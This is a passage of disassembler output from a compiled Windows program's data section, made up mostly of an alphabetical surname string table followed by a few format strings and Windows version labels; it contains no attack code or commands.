'Naddeo',0 ; DATA XREF: .data:00444F74o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .data:00444F78o align 10h aNardi db 'Nardi',0 ; DATA XREF: .data:00444F7Co align 4 aNardone db 'Nardone',0 ; DATA XREF: .data:00444F80o aNaviaux db 'Naviaux',0 ; DATA XREF: .data:00444F84o aNayduch db 'Nayduch',0 ; DATA XREF: .data:00444F88o aNelson db 'Nelson',0 ; DATA XREF: .data:00444F8Co align 4 aNenna db 'Nenna',0 ; DATA XREF: .data:00444F90o align 10h aNesci db 'Nesci',0 ; DATA XREF: .data:00444F94o align 4 aNeuman db 'Neuman',0 ; DATA XREF: .data:00444F98o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: .data:00444F9Co aNewlin db 'Newlin',0 ; DATA XREF: .data:00444FA0o align 10h aNg db 'Ng',0 ; DATA XREF: .data:00444FA4o align 4 aNi_0 db 'Ni',0 ; DATA XREF: .data:00444FA8o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: .data:00444FACo align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:00444FB0o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: .data:00444FB4o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: .data:00444FB8o align 4 aNotman db 'Notman',0 ; DATA XREF: .data:00444FBCo align 10h aNuzum db 'Nuzum',0 ; DATA XREF: .data:00444FC0o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: .data:00444FC4o aOgata db 'Ogata',0 ; DATA XREF: .data:00444FC8o align 4 aOh db 'Oh',0 ; DATA XREF: .data:00444FCCo align 4 aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:00444FD0o aOldford db 'Oldford',0 ; DATA XREF: .data:00444FD4o aOlsen db 'Olsen',0 ; DATA XREF: .data:00444FD8o align 4 aOlson db 'Olson',0 ; DATA XREF: .data:00444FDCo align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: .data:00444FE0o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:00444FE4o align 4 aOman db 'Oman',0 ; DATA XREF: .data:00444FE8o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:00444FECo aOpel db 'Opel',0 ; DATA XREF: .data:00444FF0o align 4 aOray db 'Oray',0 ; DATA XREF: .data:00444FF4o align 4 aOrfield db 'Orfield',0 ; DATA XREF: .data:00444FF8o aOrsi db 'Orsi',0 ; DATA XREF: .data:00444FFCo align 4 aOspina db 'Ospina',0 ; DATA XREF: .data:00445000o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:00445004o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:00445008o align 4 aOtten db 'Otten',0 ; DATA XREF: .data:0044500Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: .data:00445010o aOvid db 'Ovid',0 ; DATA XREF: .data:00445014o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:00445018o align 4 aPaine db 'Paine',0 ; DATA XREF: .data:0044501Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .data:00445020o align 10h aPalepu db 'Palepu',0 ; DATA XREF: .data:00445024o align 4 aPallara db 'Pallara',0 ; DATA XREF: .data:00445028o aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0044502Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: .data:00445030o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: .data:00445034o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .data:00445038o align 10h aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0044503Co align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:00445040o aParris db 'Parris',0 ; DATA XREF: .data:00445044o align 10h aPartridge db 'Partridge',0 ; DATA XREF: .data:00445048o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: .data:0044504Co align 4 aPatefield db 'Patefield',0 ; DATA XREF: .data:00445050o align 4 aPatrick db 'Patrick',0 ; DATA XREF: .data:00445054o aPattullo db 'Pattullo',0 ; DATA XREF: .data:00445058o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: .data:0044505Co aPavlon db 'Pavlon',0 ; DATA XREF: .data:00445060o align 4 aPawloski db 'Pawloski',0 ; DATA XREF: .data:00445064o align 4 aPaynter db 'Paynter',0 ; DATA XREF: .data:00445068o aPeabody db 'Peabody',0 ; DATA XREF: .data:0044506Co aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:00445070o align 10h aPederson db 'Pederson',0 ; DATA XREF: .data:00445074o align 4 aPeishel db 'Peishel',0 ; DATA XREF: .data:00445078o aPenny db 'Penny',0 ; DATA XREF: .data:0044507Co align 4 aPereira db 'Pereira',0 ; DATA XREF: .data:00445080o aPerko db 'Perko',0 ; DATA XREF: .data:00445084o align 4 aPerlak db 'Perlak',0 ; DATA XREF: .data:00445088o align 4 aPerlman db 'Perlman',0 ; DATA XREF: .data:0044508Co aPerna db 'Perna',0 ; DATA XREF: .data:00445090o align 4 aPerone db 'Perone',0 ; DATA XREF: .data:00445094o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: .data:00445098o align 4 aPeters db 'Peters',0 ; DATA XREF: .data:0044509Co align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: .data:004450A0o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: .data:004450A4o align 4 aPettit db 'Pettit',0 ; DATA XREF: .data:004450A8o align 10h aPfister db 'Pfister',0 ; DATA XREF: .data:004450ACo aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:004450B0o aPinot db 'Pinot',0 ; DATA XREF: .data:004450B4o align 4 aPlancon db 'Plancon',0 ; DATA XREF: .data:004450B8o aPlant db 'Plant',0 ; DATA XREF: .data:004450BCo align 4 aPlasket db 'Plasket',0 ; DATA XREF: .data:004450C0o aPlous db 'Plous',0 ; DATA XREF: .data:004450C4o align 4 aPo db 'Po',0 ; DATA XREF: .data:004450C8o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: .data:004450CCo align 4 aPoincaire db 'Poincaire',0 ; DATA XREF: .data:004450D0o align 4 aPointer db 'Pointer',0 ; DATA XREF: .data:004450D4o aPoirier db 'Poirier',0 ; DATA XREF: .data:004450D8o aPolak db 'Polak',0 ; DATA XREF: .data:004450DCo align 4 aPolanyi db 'Polanyi',0 ; DATA XREF: .data:004450E0o aPolitis db 'Politis',0 ; DATA XREF: .data:004450E4o aPoma db 'Poma',0 ; DATA XREF: .data:004450E8o align 4 aPoolman db 'Poolman',0 ; DATA XREF: .data:004450ECo aPowers db 'Powers',0 ; DATA XREF: .data:004450F0o align 4 aPresper db 'Presper',0 ; DATA XREF: .data:004450F4o aPreucel db 'Preucel',0 ; DATA XREF: .data:004450F8o aPrevost db 'Prevost',0 ; DATA XREF: .data:004450FCo aPritchard db 'Pritchard',0 ; DATA XREF: .data:00445100o align 4 aPritz db 'Pritz',0 ; DATA XREF: .data:00445104o align 10h aProietti db 'Proietti',0 ; DATA XREF: .data:00445108o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0044510Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: .data:00445110o align 4 aPugh db 'Pugh',0 ; DATA XREF: .data:00445114o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .data:00445118o aQuaday db 'Quaday',0 ; DATA XREF: .data:0044511Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: .data:00445120o align 4 aRabe db 'Rabe',0 ; DATA XREF: .data:00445124o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .data:00445128o align 4 aRadeke db 'Radeke',0 ; DATA XREF: .data:0044512Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:00445130o aRaney db 'Raney',0 ; DATA XREF: .data:00445134o align 10h aRangan db 'Rangan',0 ; DATA XREF: .data:00445138o align 4 aRankin db 'Rankin',0 ; DATA XREF: .data:0044513Co align 10h aRapple db 'Rapple',0 ; DATA XREF: .data:00445140o align 4 aRayport db 'Rayport',0 ; DATA XREF: .data:00445144o aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:00445148o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: .data:0044514Co align 4 aCunningham db 'Cunningham',0 ; DATA XREF: .data:00445150o align 4 aReinold db 'Reinold',0 ; DATA XREF: .data:00445154o aRemak db 'Remak',0 ; DATA XREF: .data:00445158o align 4 aRenick db 'Renick',0 ; DATA XREF: .data:0044515Co align 10h aRepetto db 'Repetto',0 ; DATA XREF: .data:00445160o aResnik db 'Resnik',0 ; DATA XREF: .data:00445164o align 10h aRhea db 'Rhea',0 ; DATA XREF: .data:00445168o align 4 aRichmond db 'Richmond',0 ; DATA XREF: .data:0044516Co align 4 aRielly db 'Rielly',0 ; DATA XREF: .data:00445170o align 4 aRindos db 'Rindos',0 ; DATA XREF: .data:00445174o align 4 aRineer db 'Rineer',0 ; DATA XREF: .data:00445178o align 4 aRish db 'Rish',0 ; DATA XREF: .data:0044517Co align 4 aRivera db 'Rivera',0 ; DATA XREF: .data:00445180o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .data:00445184o align 4 aRocha db 'Rocha',0 ; DATA XREF: .data:00445188o align 10h aRoesler db 'Roesler',0 ; DATA XREF: .data:0044518Co aRogers db 'Rogers',0 ; DATA XREF: .data:00445190o align 10h aRonen db 'Ronen',0 ; DATA XREF: .data:00445194o align 4 aRow db 'Row',0 ; DATA XREF: .data:00445198o aRoyal db 'Royal',0 ; DATA XREF: .data:0044519Co align 4 aRu db 'Ru',0 ; DATA XREF: .data:004451A0o align 4 aRuan db 'Ruan',0 ; DATA XREF: .data:004451A4o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: .data:004451A8o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .data:004451ACo align 4 aRush db 'Rush',0 ; DATA XREF: .data:004451B0o align 10h aRyu db 'Ryu',0 ; DATA XREF: .data:004451B4o aSabatello db 'Sabatello',0 ; DATA XREF: .data:004451B8o align 10h aSadler db 'Sadler',0 ; DATA XREF: .data:004451BCo align 4 aSafire db 'Safire',0 ; DATA XREF: .data:004451C0o align 10h aSahu db 'Sahu',0 ; DATA XREF: .data:004451C4o align 4 aSali db 'Sali',0 ; DATA XREF: .data:004451C8o align 10h aSamson db 'Samson',0 ; DATA XREF: .data:004451CCo align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:004451D0o aSanna db 'Sanna',0 ; DATA XREF: .data:004451D4o align 10h aSapers db 'Sapers',0 ; DATA XREF: .data:004451D8o align 4 aSarin db 'Sarin',0 ; DATA XREF: .data:004451DCo align 10h aSartore db 'Sartore',0 ; DATA XREF: .data:004451E0o aSase db 'Sase',0 ; DATA XREF: .data:004451E4o align 10h aSatin db 'Satin',0 ; DATA XREF: .data:004451E8o align 4 aSatta db 'Satta',0 ; DATA XREF: .data:004451ECo align 10h aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:004451F0o align 10h aSawtell db 'Sawtell',0 ; DATA XREF: .data:004451F4o aSayied db 'Sayied',0 ; DATA XREF: .data:004451F8o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: .data:004451FCo align 4 aScepan db 'Scepan',0 ; DATA XREF: .data:00445200o align 4 aScharf db 'Scharf',0 ; DATA XREF: .data:00445204o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:00445208o aScheiner db 'Scheiner',0 ; DATA XREF: .data:0044520Co align 4 aSchiano db 'Schiano',0 ; DATA XREF: .data:00445210o aSchifini db 'Schifini',0 ; DATA XREF: .data:00445214o align 4 aSchilling db 'Schilling',0 ; DATA XREF: .data:00445218o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0044521Co aSchossberger db 'Schossberger',0 ; DATA XREF: .data:00445220o align 4 aSchuman db 'Schuman',0 ; DATA XREF: .data:00445224o aSchutte db 'Schutte',0 ; DATA XREF: .data:00445228o aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0044522Co align 4 aSchwan db 'Schwan',0 ; DATA XREF: .data:00445230o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:00445234o aScovel db 'Scovel',0 ; DATA XREF: .data:00445238o align 4 aScudder db 'Scudder',0 ; DATA XREF: .data:0044523Co aSeaton db 'Seaton',0 ; DATA XREF: .data:00445240o align 4 aSeeber db 'Seeber',0 ; DATA XREF: .data:00445244o align 4 aSegal db 'Segal',0 ; DATA XREF: .data:00445248o align 4 aSekler db 'Sekler',0 ; DATA XREF: .data:0044524Co align 4 aSelvage db 'Selvage',0 ; DATA XREF: .data:00445250o aSen db 'Sen',0 ; DATA XREF: .data:00445254o aSennett db 'Sennett',0 ; DATA XREF: .data:00445258o aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0044525Co align 4 aSexton db 'Sexton',0 ; DATA XREF: .data:00445260o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .data:00445264o aShaikh db 'Shaikh',0 ; DATA XREF: .data:00445268o align 4 aShakis db 'Shakis',0 ; DATA XREF: .data:0044526Co align 4 aShankland db 'Shankland',0 ; DATA XREF: .data:00445270o align 4 aShanley db 'Shanley',0 ; DATA XREF: .data:00445274o aShar db 'Shar',0 ; DATA XREF: .data:00445278o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: .data:0044527Co aShavelson db 'Shavelson',0 ; DATA XREF: .data:00445280o align 4 aShea db 'Shea',0 ; DATA XREF: .data:00445284o align 4 aSheats db 'Sheats',0 ; DATA XREF: .data:00445288o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: .data:0044528Co align 4 aSheppard db 'Sheppard',0 ; DATA XREF: .data:00445290o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .data:00445294o align 10h aShesko db 'Shesko',0 ; DATA XREF: .data:00445298o align 4 aShia db 'Shia',0 ; DATA XREF: .data:0044529Co align 10h aShibata db 'Shibata',0 ; DATA XREF: .data:004452A0o aShimon db 'Shimon',0 ; DATA XREF: .data:004452A4o align 10h aSiesto db 'Siesto',0 ; DATA XREF: .data:004452A8o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: .data:004452ACo aSigini db 'Sigini',0 ; DATA XREF: .data:004452B0o align 4 aSigna db 'Signa',0 ; DATA XREF: .data:004452B4o align 10h aSilverman db 'Silverman',0 ; DATA XREF: .data:004452B8o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: .data:004452BCo align 4 aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:004452C0o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .data:004452C4o aSites db 'Sites',0 ; DATA XREF: .data:004452C8o align 4 aSkane db 'Skane',0 ; DATA XREF: .data:004452CCo align 4 aSkerry db 'Skerry',0 ; DATA XREF: .data:004452D0o align 4 aSkoda db 'Skoda',0 ; DATA XREF: .data:004452D4o align 4 aSloan db 'Sloan',0 ; DATA XREF: .data:004452D8o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .data:004452DCo align 4 aSmilow db 'Smilow',0 ; DATA XREF: .data:004452E0o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .data:004452E4o aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:004452E8o align 4 aSocolow db 'Socolow',0 ; DATA XREF: .data:004452ECo aSolon db 'Solon',0 ; DATA XREF: .data:004452F0o align 4 aSomers db 'Somers',0 ; DATA XREF: .data:004452F4o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: .data:004452F8o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: .data:004452FCo align 4 aSorg db 'Sorg',0 ; DATA XREF: .data:00445300o align 10h aSottak db 'Sottak',0 ; DATA XREF: .data:00445304o align 4 aSoukup db 'Soukup',0 ; DATA XREF: .data:00445308o align 10h aSoule db 'Soule',0 ; DATA XREF: .data:0044530Co align 4 aSoultanian db 'Soultanian',0 ; DATA XREF: .data:00445310o align 4 aSpanier db 'Spanier',0 ; DATA XREF: .data:00445314o aSparrow db 'Sparrow',0 ; DATA XREF: .data:00445318o aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0044531Co align 10h aSpeizer db 'Speizer',0 ; DATA XREF: .data:00445320o aSpence db 'Spence',0 ; DATA XREF: .data:00445324o align 10h aSperber db 'Sperber',0 ; DATA XREF: .data:00445328o aSpicer db 'Spicer',0 ; DATA XREF: .data:0044532Co align 10h aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:00445330o align 10h aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:00445334o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .data:00445338o aStmartin db 'StMartin',0 ; DATA XREF: .data:0044533Co align 10h aStalvey db 'Stalvey',0 ; DATA XREF: .data:00445340o aStam db 'Stam',0 ; DATA XREF: .data:off_445344o align 10h aStang db 'Stang',0 ; DATA XREF: .data:00445348o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0044534Co align 4 aStates db 'States',0 ; DATA XREF: .data:00445350o align 10h aStatlender db 'Statlender',0 ; DATA XREF: .data:00445354o align 4 aStefani db 'Stefani',0 ; DATA XREF: .data:00445358o aSteiner db 'Steiner',0 ; DATA XREF: .data:0044535Co aStephanian db 'Stephanian',0 ; DATA XREF: .data:00445360o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:00445364o aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:00445368o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .data:0044536Co align 10h aStillwell db 'Stillwell',0 ; DATA XREF: .data:00445370o align 4 aStock db 'Stock',0 ; DATA XREF: .data:00445374o align 4 aStockton db 'Stockton',0 ; DATA XREF: .data:00445378o align 10h aStockwell db 'Stockwell',0 ; DATA XREF: .data:0044537Co align 4 aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:00445380o aStonich db 'Stonich',0 ; DATA XREF: .data:00445384o aStorer db 'Storer',0 ; DATA XREF: .data:00445388o align 4 aStott db 'Stott',0 ; DATA XREF: .data:0044538Co align 10h aStrange db 'Strange',0 ; DATA XREF: .data:00445390o aStrauch db 'Strauch',0 ; DATA XREF: .data:00445394o aStreiff db 'Streiff',0 ; DATA XREF: .data:00445398o aStringer db 'Stringer',0 ; DATA XREF: .data:0044539Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .data:004453A0o align 10h aSumner db 'Sumner',0 ; DATA XREF: .data:004453A4o align 4 aSuo db 'Suo',0 ; DATA XREF: .data:004453A8o aSurdam db 'Surdam',0 ; DATA XREF: .data:004453ACo align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .data:004453B0o align 10h aSweetser db 'Sweetser',0 ; DATA XREF: .data:004453B4o align 4 aSwindle db 'Swindle',0 ; DATA XREF: .data:004453B8o aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:004453BCo aTai db 'Tai',0 ; DATA XREF: .data:004453C0o aTalaugon db 'Talaugon',0 ; DATA XREF: .data:004453C4o align 4 aTambiah db 'Tambiah',0 ; DATA XREF: .data:004453C8o aTandler db 'Tandler',0 ; DATA XREF: .data:004453CCo aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:004453D0o align 4 aTatar db 'Tatar',0 ; DATA XREF: .data:004453D4o align 10h aTaveras db 'Taveras',0 ; DATA XREF: .data:004453D8o aTawn db 'Tawn',0 ; DATA XREF: .data:004453DCo align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:004453E0o align 4 aTeague db 'Teague',0 ; DATA XREF: .data:004453E4o align 4 aTemes db 'Temes',0 ; DATA XREF: .data:004453E8o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .data:004453ECo align 4 aTenney db 'Tenney',0 ; DATA XREF: .data:004453F0o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .data:004453F4o align 4 aThan db 'Than',0 ; DATA XREF: .data:004453F8o align 10h aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:004453FCo align 10h aTheodos db 'Theodos',0 ; DATA XREF: .data:00445400o aThibault db 'Thibault',0 ; DATA XREF: .data:00445404o align 4 aThisted db 'Thisted',0 ; DATA XREF: .data:00445408o aThomsen db 'Thomsen',0 ; DATA XREF: .data:0044540Co aThroop db 'Throop',0 ; DATA XREF: .data:00445410o align 4 aTierney db 'Tierney',0 ; DATA XREF: .data:00445414o aTill db 'Till',0 ; DATA XREF: .data:00445418o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .data:0044541Co aTofallis db 'Tofallis',0 ; DATA XREF: .data:00445420o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:00445424o align 4 aTolls db 'Tolls',0 ; DATA XREF: .data:00445428o align 4 aTolman db 'Tolman',0 ; DATA XREF: .data:0044542Co align 4 aTomford db 'Tomford',0 ; DATA XREF: .data:00445430o aToomer db 'Toomer',0 ; DATA XREF: .data:00445434o align 4 aTopulos db 'Topulos',0 ; DATA XREF: .data:00445438o aTorresi db 'Torresi',0 ; DATA XREF: .data:0044543Co aTorske db 'Torske',0 ; DATA XREF: .data:00445440o align 4 aTowler db 'Towler',0 ; DATA XREF: .data:00445444o align 4 aToye db 'Toye',0 ; DATA XREF: .data:00445448o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .data:0044544Co align 10h aTrenga db 'Trenga',0 ; DATA XREF: .data:00445450o align 4 aTrewin db 'Trewin',0 ; DATA XREF: .data:00445454o align 10h aTringali db 'Tringali',0 ; DATA XREF: .data:00445458o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .data:0044545Co aTroy db 'Troy',0 ; DATA XREF: .data:00445460o align 4 aTruss db 'Truss',0 ; DATA XREF: .data:00445464o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:00445468o aTsomides db 'Tsomides',0 ; DATA XREF: .data:0044546Co align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:00445470o align 4 aTuck db 'Tuck',0 ; DATA XREF: .data:00445474o align 4 aTudge db 'Tudge',0 ; DATA XREF: .data:00445478o align 4 aTukan db 'Tukan',0 ; DATA XREF: .data:0044547Co align 4 aTurano db 'Turano',0 ; DATA XREF: .data:00445480o align 4 aTurek db 'Turek',0 ; DATA XREF: .data:00445484o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .data:00445488o align 4 aTwells db 'Twells',0 ; DATA XREF: .data:0044548Co align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:00445490o align 4 aUllman db 'Ullman',0 ; DATA XREF: .data:00445494o align 10h aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:00445498o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0044549Co aUrban db 'Urban',0 ; DATA XREF: .data:004454A0o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:004454A4o align 4 aUsdan db 'Usdan',0 ; DATA XREF: .data:004454A8o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .data:004454ACo align 4 aVacca db 'Vacca',0 ; DATA XREF: .data:004454B0o align 4 aWaite db 'Waite',0 ; DATA XREF: .data:004454B4o align 4 aValberg db 'Valberg',0 ; DATA XREF: .data:004454B8o aValencia db 'Valencia',0 ; DATA XREF: .data:004454BCo align 10h aWales db 'Wales',0 ; DATA XREF: .data:004454C0o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:004454C4o align 4 aWalter db 'Walter',0 ; DATA XREF: .data:004454C8o align 4 aVanallen db 'vanAllen',0 ; DATA XREF: .data:004454CCo align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .data:004454D0o aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:004454D4o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:004454D8o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:004454DCo align 4 aWasowska db 'Wasowska',0 ; DATA XREF: .data:004454E0o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .data:004454E4o aWaugh db 'Waugh',0 ; DATA XREF: .data:004454E8o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .data:004454ECo align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: .data:004454F0o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:004454F4o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:004454F8o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .data:004454FCo align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: .data:00445500o align 4 aWelles db 'Welles',0 ; DATA XREF: .data:00445504o align 4 aWelsh db 'Welsh',0 ; DATA XREF: .data:00445508o align 4 aWengret db 'Wengret',0 ; DATA XREF: .data:0044550Co aVenne db 'Venne',0 ; DATA XREF: .data:00445510o align 4 aVerghese db 'Verghese',0 ; DATA XREF: .data:00445514o align 4 aWescott db 'Wescott',0 ; DATA XREF: .data:00445518o aWetzel db 'Wetzel',0 ; DATA XREF: .data:0044551Co align 4 aWhately db 'Whately',0 ; DATA XREF: .data:00445520o aWhilton db 'Whilton',0 ; DATA XREF: .data:00445524o aWhite db 'White',0 ; DATA XREF: .data:00445528o align 10h aWhitla db 'Whitla',0 ; DATA XREF: .data:0044552Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: .data:00445530o align 4 aViana db 'Viana',0 ; DATA XREF: .data:00445534o align 4 aViano db 'Viano',0 ; DATA XREF: .data:00445538o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0044553Co aWiener db 'Wiener',0 ; DATA XREF: .data:00445540o align 4 aViens db 'Viens',0 ; DATA XREF: .data:00445544o align 10h aVignola db 'Vignola',0 ; DATA XREF: .data:00445548o aWilder db 'Wilder',0 ; DATA XREF: .data:0044554Co align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:00445550o aWilk db 'Wilk',0 ; DATA XREF: .data:00445554o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: .data:00445558o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0044555Co align 4 aVillarreal db 'Villarreal',0 ; DATA XREF: .data:00445560o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: .data:00445564o aWilson db 'Wilson',0 ; DATA XREF: .data:00445568o align 4 aVitali db 'Vitali',0 ; DATA XREF: .data:0044556Co align 4 aViviani db 'Viviani',0 ; DATA XREF: .data:00445570o aVoigt db 'Voigt',0 ; DATA XREF: .data:00445574o align 4 aWolk db 'Wolk',0 ; DATA XREF: .data:00445578o align 4 aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0044557Co align 10h aWoo db 'Woo',0 ; DATA XREF: .data:00445580o aWooden db 'Wooden',0 ; DATA XREF: .data:00445584o align 4 aWoods db 'Woods',0 ; DATA XREF: .data:00445588o align 4 aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0044558Co align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:00445590o aVotey db 'Votey',0 ; DATA XREF: .data:00445594o align 4 aYacono db 'Yacono',0 ; DATA XREF: .data:00445598o align 4 aYamane db 'Yamane',0 ; DATA XREF: .data:0044559Co align 4 aYankee db 'Yankee',0 ; DATA XREF: .data:004455A0o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:004455A4o aYates db 'Yates',0 ; DATA XREF: .data:004455A8o align 4 aYbarra db 'Ybarra',0 ; DATA XREF: .data:004455ACo align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .data:004455B0o aYesson db 'Yesson',0 ; DATA XREF: .data:004455B4o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .data:004455B8o align 4 aYoffe db 'Yoffe',0 ; DATA XREF: .data:004455BCo align 4 aYoo db 'Yoo',0 ; DATA XREF: .data:004455C0o aYoukSee db 'Youk-See',0 ; DATA XREF: .data:004455C4o align 4 aYu db 'Yu',0 ; DATA XREF: .data:004455C8o align 4 aZachary db 'Zachary',0 ; DATA XREF: .data:004455CCo aZahedi db 'Zahedi',0 ; DATA XREF: .data:004455D0o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: .data:004455D4o align 4 aZegans db 'Zegans',0 ; DATA XREF: .data:004455D8o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .data:004455DCo aZoldak db 'Zoldak',0 ; DATA XREF: .data:004455E0o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .data:004455E4o aZurn db 'Zurn',0 ; DATA XREF: .data:004455E8o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .data:004455ECo align 4 aZytowski db 'Zytowski',0 ; DATA XREF: .data:004455F0o align 10h ; char aS_37[] aS_37 db '%s',0 ; DATA XREF: sub_40B06A+28o align 4 ; char aSI_3[] aSI_3 db '%s%i',0 ; DATA XREF: sub_40B06A+4Fo align 4 ; char aS_38[] aS_38 db '%s',0 ; DATA XREF: sub_40B0D7+19o align 10h ; char aSI_4[] aSI_4 db '%s%i',0 ; DATA XREF: sub_40B0D7+40o align 4 ; char aPc[] aPc db 'PC',0 ; DATA XREF: sub_40B182+6o align 4 aPc_0 db 'PC',0 ; DATA XREF: sub_40B182+30o align 10h aPc_1 db 'PC',0 ; DATA XREF: sub_40B182+5Co align 4 ; char aSI_0[] aSI_0 db '%s%i',0 ; DATA XREF: sub_40B182+87o align 4 ; char aS_22[] aS_22 db '%s|',0 ; DATA XREF: sub_40B228+2Fo ; char aSI_1[] aSI_1 db '%s%i',0 ; DATA XREF: sub_40B228+56o align 4 a95 db '95',0 ; DATA XREF: sub_40B29D+4Fo align 4 aNt db 'NT',0 ; DATA XREF: sub_40B29D+5Do align 10h a98 db '98',0 ; DATA XREF: sub_40B29D+6Do align 4 aMe_0 db 'ME',0 ; DATA XREF: sub_40B29D+7Do align 4 a2k db '2K',0 ; DATA 